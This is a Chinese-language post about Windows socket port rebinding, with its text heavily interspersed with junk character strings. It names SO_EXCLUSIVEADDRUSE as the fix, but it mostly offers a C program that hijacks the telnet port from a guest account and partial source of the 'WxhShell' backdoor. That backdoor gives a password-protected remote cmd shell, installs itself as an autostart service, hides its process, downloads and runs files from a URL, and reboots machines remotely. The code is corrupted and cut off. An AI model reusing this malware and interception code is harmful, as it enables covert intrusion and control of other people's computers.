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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
lvWwr!w s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J?3/L&seA )pHlWi|h saddr.sin_family = AF_INET; GqR XNs! dWQsC| saddr.sin_addr.s_addr = htonl(INADDR_ANY); GKo&?Tj) 8-x-?7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L_Gw:"-+Q 70 7( LG 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o p9dYjG7 b*?u+tWP_ 这意味着什么?意味着可以进行如下的攻击: [-$
Do WuUwd#e 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Su,:f_If, !-7n69:G 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) iWD|F- 4l
ZK@3 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0i_:J klJ21j0Bb2 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 rT[qh+KWe ia'z9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q"qI'*Kgt =p'+kS+ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 JnsJ]_< oVy{~D= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .^{%hc*w4 WChP,hw #include 95mf #include j-ej7 #include -n05Z@7 #include C*( DWORD WINAPI ClientThread(LPVOID lpParam); GV Xdyi int main() AChz}N$C { |2q3spd WORD wVersionRequested; AVpg DWORD ret; ]Orx%8QS! WSADATA wsaData; d>hv-nD BOOL val; g.Xk6"kO SOCKADDR_IN saddr; %)r ~GCd SOCKADDR_IN scaddr; r+FEgSDa] int err; /J#(8p SOCKET s; \A[l(aB SOCKET sc; kCTf>sJe int caddsize; w95M
B*N HANDLE mt; uMg\s\Z DWORD tid; &+2l#3} wVersionRequested = MAKEWORD( 2, 2 ); ,_3hbT8Q
err = WSAStartup( wVersionRequested, &wsaData ); _Ub
`\ytx if ( err != 0 ) { !e|\1v'0 printf("error!WSAStartup failed!\n"); G7CeWfS return -1; ls@]%pz.1d } R
p&J!hlA saddr.sin_family = AF_INET; Q|AZv>'!
27eG8 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >u$8Z SQ>i:D; saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); SL4?E<Jb saddr.sin_port = htons(23); >Wr%usNxc if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d<a|dwAeh { 1Nt
&+o printf("error!socket failed!\n"); K29/7A/ return -1; C27:tyV } !?>V^#c val = TRUE; }S/i3$F0~ //SO_REUSEADDR选项就是可以实现端口重绑定的 1]7gYNzV" if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) QadguV6| { -G,}f\Cg printf("error!setsockopt failed!\n"); {.:$F3T return -1; $6"(t= %{ } /d3Jd.l! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; OT{"C"%5t //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *1dDs^D#| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D!&(#Vl
_ P"vrYom if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3xChik{ { A;TP~xq\ ret=GetLastError(); Nwi|>'\C printf("error!bind failed!\n"); [r/zBF-. return -1; &P?2H66s } o:@Q1+p listen(s,2); Urr%SIakvM while(1) PE%$g\#? { >pU9}2fpT caddsize = sizeof(scaddr); I/dy^5@F //接受连接请求 !a@)6or sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [C "\]LiX if(sc!=INVALID_SOCKET) 3$\k=q3`# { 9"P|Csj mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bx3Q$|M? if(mt==NULL)
X06Lr!-% { I_J&>}V' printf("Thread Creat Failed!\n"); [*',pG break; BR2Gb~#T }
po*G`b;v } zK<af CloseHandle(mt); g":[rXvId } 75^6?#GS closesocket(s); W:d
p(,L WSACleanup(); x}] 56f return 0; BN_h3|) } 3 t,_{9 DWORD WINAPI ClientThread(LPVOID lpParam) ix3LB!k< { Zl9@E;|= SOCKET ss = (SOCKET)lpParam; )%7P?^> SOCKET sc; /'/I^ab unsigned char buf[4096]; Qz~uD'Rs/ SOCKADDR_IN saddr; isZ5s\ long num; 3P
cVE\GN DWORD val; }|P3(*S DWORD ret; .hl_zc# //如果是隐藏端口应用的话,可以在此处加一些判断 ~r --dU //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 W:]FYC saddr.sin_family = AF_INET; UnhVppnex saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3A#Tn7 saddr.sin_port = htons(23); ,EB}IG] if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &|hK79D { K;?D^n. printf("error!socket failed!\n"); ux; ?WPyr return -1; [xMa^A>p } g*Y,. val = 100; y?$DDD if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6}4})B2 { DP ? dC` ret = GetLastError(); S#/%#k103 return -1; *pKTJP } }47h0 i if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @+u>rS|IB { d ]P~ ret = GetLastError(); &k}f"TX2 return -1; v,KKn\X } AJPvwu}D if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~6 6xO9s { m#7(<# printf("error!socket connect failed!\n"); >Fel) a closesocket(sc); u!_l/'\ closesocket(ss); $]v}X},, return -1; ,erw(7}'. } ;5[KZ8j6Y while(1) 1vj/6L { F!omkN //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `9~
%6N?7# //如果是嗅探内容的话,可以再此处进行内容分析和记录 "/W[gP[y% //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3N7H7(IR num = recv(ss,buf,4096,0); )g0fN+Mb if(num>0) Fhoyji4 send(sc,buf,num,0); OZ[ YB else if(num==0) fr@F7s5} break; 7},A.q num = recv(sc,buf,4096,0); =CX1jrLZ if(num>0) )BP*|URc send(ss,buf,num,0); K@D\5s|1| else if(num==0) mDB break; V>Wk\'h } \/a6h closesocket(ss); r* *zjv> closesocket(sc); M^FY6TT4O return 0 ; o96C^y{~S } "W|A^@r} n<I{x^! rwm^{Qa ========================================================== _fGTTw( cnv>&6a) 下边附上一个代码,,WXhSHELL ZO0 Ee1/ bzgC+yT ========================================================== \o9 \ikR zw0w."V
#include "stdafx.h" XX6Z|Y5. "t@p9> #include <stdio.h> 9Em#Ela #include <string.h> C8N)!5(A #include <windows.h> r"h;JC/&<T #include <winsock2.h> i|YS>Pw~j #include <winsvc.h> mgs(n5V5 #include <urlmon.h> +.G"ool s{hKl0ds #pragma comment (lib, "Ws2_32.lib") jlEz]@
i #pragma comment (lib, "urlmon.lib") ()3\(d5e N##` #define MAX_USER 100 // 最大客户端连接数 A'WR!*Yt #define BUF_SOCK 200 // sock buffer .g*j]!_] #define KEY_BUFF 255 // 输入 buffer bOS)vt*V MK$u}G #define REBOOT 0 // 重启 <n"BPXF~ #define SHUTDOWN 1 // 关机 D #ddx QLA.;`HIE #define DEF_PORT 5000 // 监听端口 i!wU8@ cr7MvXF- #define REG_LEN 16 // 注册表键长度 }pc9uvmIJ #define SVC_LEN 80 // NT服务名长度 O] _4pP =OVDJ0ozZ // 从dll定义API G#M)5'Q]U typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g?C;b>4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bF)G+IH typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !3ggQG!e typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hsZ/Vnn`
H}@:Bri // wxhshell配置信息 L*nK>
+ struct WSCFG { =bVPHrKNQ int ws_port; // 监听端口 /?\3%<vn char ws_passstr[REG_LEN]; // 口令 G
dgL}"*F int ws_autoins; // 安装标记, 1=yes 0=no FMfpjuHk char ws_regname[REG_LEN]; // 注册表键名 Hvl
n>x@ char ws_svcname[REG_LEN]; // 服务名 Wboh2:TH: char ws_svcdisp[SVC_LEN]; // 服务显示名
{pzj@b 1S char ws_svcdesc[SVC_LEN]; // 服务描述信息 0c_xPBbB+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I`>U#x* int ws_downexe; // 下载执行标记, 1=yes 0=no s}D>.9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ]BQYVx/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @[$_cGR7 l6viP}R }; C*9X;+S0J 1I+9?fa // default Wxhshell configuration q8 v iC| struct WSCFG wscfg={DEF_PORT, *7mlH "xuhuanlingzhe", <T 2O^ 1, x6ghO-s "Wxhshell", j#HXuV6 "Wxhshell", a`O'ZY "WxhShell Service", .jrNi=BP* "Wrsky Windows CmdShell Service", .#EU@Hc "Please Input Your Password: ", \S}/2]* 1 1, <z Gh}.6v " http://www.wrsky.com/wxhshell.exe", R >x d*A "Wxhshell.exe" Y;'<u\^M" }; D
0Xl`0"' (
eV,f // 消息定义模块 *&U~Io"U char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *>fr'jj1$ char *msg_ws_prompt="\n\r? for help\n\r#>"; *^>"
h@J char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; +Z`=iia> char *msg_ws_ext="\n\rExit."; y6(PG:L char *msg_ws_end="\n\rQuit."; {!,K[QwcI char *msg_ws_boot="\n\rReboot..."; E@}F^0c char *msg_ws_poff="\n\rShutdown..."; ?Uql30A char *msg_ws_down="\n\rSave to "; $5nMD= _!xrBdaJ char *msg_ws_err="\n\rErr!"; IZVP- char *msg_ws_ok="\n\rOK!"; 8ud12^s$ ?sfqg gi char ExeFile[MAX_PATH]; O&!R7T int nUser = 0; Tigw+2 HANDLE handles[MAX_USER]; 6St=r)_ int OsIsNt; >$Y/B=e 87
gk
SERVICE_STATUS serviceStatus; X [Y0r SERVICE_STATUS_HANDLE hServiceStatusHandle; Q14zc0N ay"jWL- // 函数声明 {C |R@S int Install(void); `46~j int Uninstall(void); g`fG84 int DownloadFile(char *sURL, SOCKET wsh); Ni~IY#
' int Boot(int flag); dsTX?E<R void HideProc(void); $8^Hkxy int GetOsVer(void); /wDf,Hduz int Wxhshell(SOCKET wsl); bY_'B5$.^2 void TalkWithClient(void *cs); }[0nTd int CmdShell(SOCKET sock); qqDg2,Yb int StartFromService(void); ]b-2:M int StartWxhshell(LPSTR lpCmdLine); )O'LE&kQ| I}f`iBG VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @SfQbM##% VOID WINAPI NTServiceHandler( DWORD fdwControl ); <Iw{fj| 96WzgHPWo // 数据结构和表定义 X[tt'5 SERVICE_TABLE_ENTRY DispatchTable[] = s-p)^B { HxI6_ >n^I {wscfg.ws_svcname, NTServiceMain}, pcMzLMG< {NULL, NULL} !GOaBs }; j~v`q5X @SX%q&- // 自我安装 j>8DaEfwx int Install(void) ;|Cdq { b.*LmSX# char svExeFile[MAX_PATH]; c^}G=Z1@ HKEY key; yan^\)HZ strcpy(svExeFile,ExeFile); \Qml~?$@lH (p]FI# y // 如果是win9x系统,修改注册表设为自启动 ?Y"%BS+pt if(!OsIsNt) { N{J
1C6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MA
.;=T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); la[pA RegCloseKey(key); XgxE M1( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _a09;C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WD5J2EePT RegCloseKey(key);
ETZf return 0; 7F<{ Qn } G
;j1zs } U4XW
Kwq } EP:`l else { ^h?fr` @O"7@%nu // 如果是NT以上系统,安装为系统服务 >u= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "FHJ_$! if (schSCManager!=0) C?qRZB+W# { xG!~TQ SC_HANDLE schService = CreateService ^ ` LqNG ( h<9vm[ . schSCManager, 7FH(C`uKi wscfg.ws_svcname, ERPg TZT wscfg.ws_svcdisp, )KZMRAT- SERVICE_ALL_ACCESS, PUQ",;&y1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <]Td7-n SERVICE_AUTO_START, BTAbDyH5 SERVICE_ERROR_NORMAL, 99yWUC, svExeFile, 3IxC@QR NULL, t/|0"\ p NULL, gIo\^ktW NULL, aM5]cc% NULL, ?/|Xie NULL @$
7 GrT ); bPVk5G*ruP if (schService!=0) il^;2`]& { Y0(4]X \ey CloseServiceHandle(schService); b<FE
CloseServiceHandle(schSCManager); (xgw';g strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?]><#[?'L strcat(svExeFile,wscfg.ws_svcname); Fz#@ [1, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >zJHvb)b\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OIKx:&uIk RegCloseKey(key); r+#{\~r7T return 0; x2v0cR"KL } y[N0P0r l: } )rEl{a CloseServiceHandle(schSCManager); kN=&" } ,I"T9k-^ } !!\}-r^y% h,c*: return 1; @c^ Dl } (dlp5:lQz
=p+n(C/ // 自我卸载 W&5/1``u\ int Uninstall(void) J~%43!X\K { m%0-3c( HKEY key; '0Cp GDSV:]hL if(!OsIsNt) { }=X: F1S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o`f^ m RegDeleteValue(key,wscfg.ws_regname); q|*^{(tWs RegCloseKey(key); 3(e_2v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [9sEc RegDeleteValue(key,wscfg.ws_regname); 0AHQ(+Ap RegCloseKey(key); tV!?Ol return 0; t:2DB) } "Z&.m..gc } v,i|:;G } "t^v;?4 else { W>#yXg9 prZ
,4\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g}MUfl-L if (schSCManager!=0) +2`BZ}5y { PC9,;T&7_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~| j
eNT if (schService!=0) #@FA=p[% { ?^voA.Bv< if(DeleteService(schService)!=0) { d,GOP_N8I CloseServiceHandle(schService); "3^tVX%$\[ CloseServiceHandle(schSCManager); X['9;1Xr return 0; 6f +aGz } f<8Hvumw CloseServiceHandle(schService); lpG%rN! } ^/BGOBK CloseServiceHandle(schSCManager); k6C XuU } ;VE y{%nF } m*m),mZ" -,bnj^L return 1; 811>dVq3/ } #gbB// < 2 .3_FXSt // 从指定url下载文件 [6a-d>e{ int DownloadFile(char *sURL, SOCKET wsh) l!*_[r { +gd5& HRESULT hr; Ef] Hpjvp char seps[]= "/"; 3en9TB char *token; mG
S4W; char *file; z>W:+W"o char myURL[MAX_PATH]; %>FtA) char myFILE[MAX_PATH]; >._d2.Q' Uxjc&o strcpy(myURL,sURL); -leX|U}k token=strtok(myURL,seps); Q]9$dr=Kk0 while(token!=NULL) r *K { 6:5K?Yo file=token; )R7Sh51P token=strtok(NULL,seps); zamMlmls^ } h'"m,(a
Na91K4r# GetCurrentDirectory(MAX_PATH,myFILE); CNN9a7 strcat(myFILE, "\\"); AYnPxiW| strcat(myFILE, file); 6\8d6x> send(wsh,myFILE,strlen(myFILE),0); (fpz",[ send(wsh,"...",3,0); [rx9gOOa& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B[L m}B[ if(hr==S_OK) ]LB_ @# return 0; Z8E<^<| else ~kZdep^] return 1; F
CYGXtc *?<N3Rr* } x^K4&'</ HJ&P[zV^ // 系统电源模块 {VAih-y int Boot(int flag) _^ENRk@ { ,'
k?rQ HANDLE hToken; e)uC TOKEN_PRIVILEGES tkp; Dck/Ea aEN` ` if(OsIsNt) { %O`@}Tg OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m]jA( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qA[lL( tkp.PrivilegeCount = 1; gBqDx|G tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?L }>9$" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rDFrreQP if(flag==REBOOT) { ( eKgc if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g@#he95 } return 0; +RJ{)Nec } 0%bCP/ else { NQqw|3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l>\EkUT return 0; ^BF}wQb:j } &ZD@-"@ } 8xB-cE else { wlNL;W@w if(flag==REBOOT) { dWn6-es if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B''yW{ return 0; ^
9+
Qxv } %DSr@IX else { hi,="
/9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &>qUT]w return 0; 7$<pdayd } &m3-][!n } RQE]=N cb_C2+%8NA return 1; CtY-Gs } b d 1^ }{F)Ren // win9x进程隐藏模块 Pk;w.)kT void HideProc(void) QYbB\Y { H?"M&mF Ovt]3`U9J HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P3Ql[2 if ( hKernel != NULL ) cH&)Iz`f { -H%v6E%yh pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a{ST4d'T ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (}b~}X9 FreeLibrary(hKernel); g!^N#o } ~IZ-:?+S^ I<2`wL= return; N1'"7eg/ } ^ = C> O: :FB.k // 获取操作系统版本 J#`7! int GetOsVer(void) Vq3 NjN!+5 { <.)=CK OSVERSIONINFO winfo; c';~bYZ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d~8U1}dP GetVersionEx(&winfo); =>'8<"M5z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `sm Cfh}j6 return 1; ]\yB, else THwM',6 return 0; v:SHaUS } cx:_5GF [h-6;.e // 客户端句柄模块 XKGiw 2
C int Wxhshell(SOCKET wsl) {v*4mT { [<=RsD_q~ SOCKET wsh; :=Zd)i)3 struct sockaddr_in client; .
Z&5TK4I DWORD myID; r $S9/ 2xN7lfu1RB while(nUser<MAX_USER) uL)MbM] { 1te^dh:Vp int nSize=sizeof(client); ~ n<|f wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _-f LD if(wsh==INVALID_SOCKET) return 1; hp)>Nzdx $R}C(k
;? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CRo'r/G if(handles[nUser]==0) -`4]u!A closesocket(wsh); =\]gL%N-| else bZ_&AfcB nUser++; W
$D 34( } 7Q/H+) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .Vt|;P} K21Xx`XK return 0; =+X*$'<J } ;,-)Z|W |Kd6.Mx // 关闭 socket @ fMlbJq void CloseIt(SOCKET wsh) D&m1yl@\J { dFg&|Lp closesocket(wsh); {b- C,J nUser--; 6Y [&1c8 ExitThread(0); 9-n]_AF`0 } DSs/D1mj&
<vl(a*4a // 客户端请求句柄 #xmiUN,| void TalkWithClient(void *cs) ^(&2 { ^RnQX#+ Y<;C>Rs
SOCKET wsh=(SOCKET)cs; ]/!*^;cY( char pwd[SVC_LEN]; Q+f|.0r char cmd[KEY_BUFF]; !}c D e12 char chr[1]; @16y%]Q-E# int i,j; Jha*BaD~N U+VJiz<! while (nUser < MAX_USER) { <@`K^g;W ~6#mVP5sU) if(wscfg.ws_passstr) { ZS:[ZehF if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S*}GW-)oA //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =3,<(F5Y[ //ZeroMemory(pwd,KEY_BUFF); f]1 $` i=0; cV:Q(|QC while(i<SVC_LEN) { +PYR p3fVw]N // 设置超时 {$ N\@q@v~ fd_set FdRead; <=uO*s>% struct timeval TimeOut; ruqE]Hx9( FD_ZERO(&FdRead); JK)|a@BtOT FD_SET(wsh,&FdRead); W{IP}mM TimeOut.tv_sec=8; [
2@Lc3< TimeOut.tv_usec=0; crd|r." int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yYOV:3!" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6AD&%v VFV8ik) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w8o?wx* pwd =chr[0]; I-.?qcy~ if(chr[0]==0xd || chr[0]==0xa) { VII`qbxT pwd=0; P9\y~W break; qjfv9sU } ^ &KH|qRrO i++; R7Tl1!,h } fo}@B&=4 JBQ>"X^ // 如果是非法用户,关闭 socket 5YZ\@<|rH if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @W+8z#xr' } 21$^k5 w;VUP@Wm send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m";8 nm send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~l+~MB ]Gl_L7u` while(1) { !4F@ !.GG! Z[+Qf3j}o6 ZeroMemory(cmd,KEY_BUFF); ,[m4+6G5 *=z.H
* // 自动支持客户端 telnet标准 pfim*\' j=0; dkEnc while(j<KEY_BUFF) { ]H:K$nmX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i\36 s$\ cmd[j]=chr[0]; [u3^R] if(chr[0]==0xa || chr[0]==0xd) { xT9+l1_ cmd[j]=0; [t^%d9@t break; n=fR%<v } }xrrHp j++; k!@/|]3z } g2
V $ 4z|Yfvq // 下载文件 HV3wU EI3 if(strstr(cmd,"http://")) { %4To@#c send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0@f7`D if(DownloadFile(cmd,wsh)) If9!S}
wa send(wsh,msg_ws_err,strlen(msg_ws_err),0); B7ys`eiB5C else '\m\$
{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `.6Jgfu } ,/L_9wV-\ else { Jf2:[Mq `~t$k7wm= switch(cmd[0]) { Pb D|7IM S67T:ARS // 帮助 FH H2 case '?': { = &aD!nTx send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .+AO3~Dg break; }\ui}\ } 5Q72.4HH // 安装 =TI|uD6T case 'i': { eWx6$_| if(Install()) d>4e9M" send(wsh,msg_ws_err,strlen(msg_ws_err),0); B<'V7#L_ else H+2J.&Ch send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HNoh B4vt break; 7]9s_13] } -ap;Ul? // 卸载 7 -V_)FK2c case 'r': { f4T-=` SO if(Uninstall())
?Ve5}N send(wsh,msg_ws_err,strlen(msg_ws_err),0); S+OI?QS else ")M.p_b[Z= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u=
+ break; !c`Q?aGV) } 0\}j[-`pF // 显示 wxhshell 所在路径 PuABS>.; case 'p': { ~KfjT
p# char svExeFile[MAX_PATH]; `TsfscN strcpy(svExeFile,"\n\r"); l1_X5DI strcat(svExeFile,ExeFile); m~NWY$oI9[ send(wsh,svExeFile,strlen(svExeFile),0); Ez1*} break; <u($!ATb } 9'8oOBqm3% // 重启 $X&OGTlw^ case 'b': { E.% F/mM send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2Nl("e^kJr if(Boot(REBOOT)) yb**|[By send(wsh,msg_ws_err,strlen(msg_ws_err),0);
3x9C] else { r@<; closesocket(wsh); 6nSk,yE'hE ExitThread(0); w)8@Tu:Q } +ow
^xiD break; ~O
6~',KD } K6oXnz} // 关机 @x J^JcE case 'd': { !V-SV`+X send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y<.!TULa_ if(Boot(SHUTDOWN)) fR[!=-6^f send(wsh,msg_ws_err,strlen(msg_ws_err),0); 17Gdu[E else { ?h3Ow`1G closesocket(wsh); m<f{7]fi5 ExitThread(0); d<b,LD^ } hA\8&pI; break; yRi/YR# } `Zi #rr|)L // 获取shell o5$K^2^g case 's': { D\l.?<C CmdShell(wsh); _0j}(Q>|H# closesocket(wsh); S+>]8ZY ExitThread(0); 2nieI*[ break; fY"28# } EhUy7b,1_ // 退出 CijS=- case 'x': { n*6s]iG
V send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `U1%d7[vY CloseIt(wsh); i:8^:(i break; Cw|SY } DVcu*UVw // 离开 n)7icSc case 'q': { v_@_J!s send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6uXYZ.A closesocket(wsh); :d2u? +F WSACleanup(); t(rU6miN exit(1); G-^ccdT break; pz
IMj_ } yl 8v&e{ } 4F4u1r+ } Y#Vy:x[ .XB] X // 提示信息 rlIEch^wZ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t3>rf3v } 7h0'R k } BD0-v` @!'H'GvA return; #Fd([Zx#. } Xbtv}g<0c (}}8DB // shell模块句柄 -d3y!|\>a int CmdShell(SOCKET sock) td&l T(7 { Bw=[g&+o1@ STARTUPINFO si; h*9o_ ZeroMemory(&si,sizeof(si)); _z 5CplO si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |)-:w? si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g[jZ A[[ PROCESS_INFORMATION ProcessInfo; ggTjd"|) char cmdline[]="cmd"; ncdr/(` CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qU
n> return 0; ui{_w @o } {LD8ie|x1` KTEis!w // 自身启动模式 NFc8"7Mz} int StartFromService(void) a!K;8#xc { \-0` %k"& typedef struct S%fBt?-Cm { 7dJaWD:& DWORD ExitStatus; %$xFnGb DWORD PebBaseAddress; 6 {Z\cwP)c DWORD AffinityMask; %nh'F6bNgv DWORD BasePriority; R4(8]oUW ULONG UniqueProcessId; -*M:OF"Zh ULONG InheritedFromUniqueProcessId; P[K=']c } PROCESS_BASIC_INFORMATION; m^.C(} %p60pn[( PROCNTQSIP NtQueryInformationProcess; 1F,_L}=o1s y21uvp' static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2AW{qwk7 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q_&IZ,{Vk Vgn1I(Gj 4 HANDLE hProcess; ZRm\d3x4 PROCESS_BASIC_INFORMATION pbi; 3pW
